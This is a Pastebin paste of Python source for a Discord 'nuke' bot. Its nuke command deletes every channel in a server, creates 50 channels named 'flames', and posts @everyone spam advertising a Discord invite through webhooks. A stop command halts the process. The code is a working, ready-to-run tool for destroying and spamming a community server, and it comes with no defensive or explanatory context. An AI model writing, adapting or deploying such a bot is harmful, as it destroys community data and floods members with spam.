Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import discord
- import os
- from dotenv import load_dotenv
- load_dotenv()
- intents = discord.Intents.all()
- bot = discord.Bot(intents=intents)
- nuke_active = True
- @bot.event
- async def on_ready():
- print(f"{bot.user} is ready and online!")
- @bot.command()
- async def nuke(ctx):
- global nuke_active
- nuke_active = True
- if ctx.author.guild_permissions.administrator:
- guild = ctx.guild
- for channel in guild.channels:
- if not nuke_active:
- break
- await channel.delete()
- for i in range(50): # Creates 50 channels named "hello"
- if not nuke_active:
- break
- new_channel = await guild.create_text_channel(name="flames")
- webhook = await new_channel.create_webhook(name="FlamesNuke")
- await webhook.send("@everyone Join my Discord server: https://discord.gg/5c9D3VD7se")
- await ctx.respond("Nuke complete!")
- else:
- await ctx.respond("You need admin permissions to run this command!")
- @bot.command()
- async def stop(ctx):
- global nuke_active
- nuke_active = False
- await ctx.respond("Nuke process has been stopped!")
- bot.run(os.getenv('TOKEN'))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement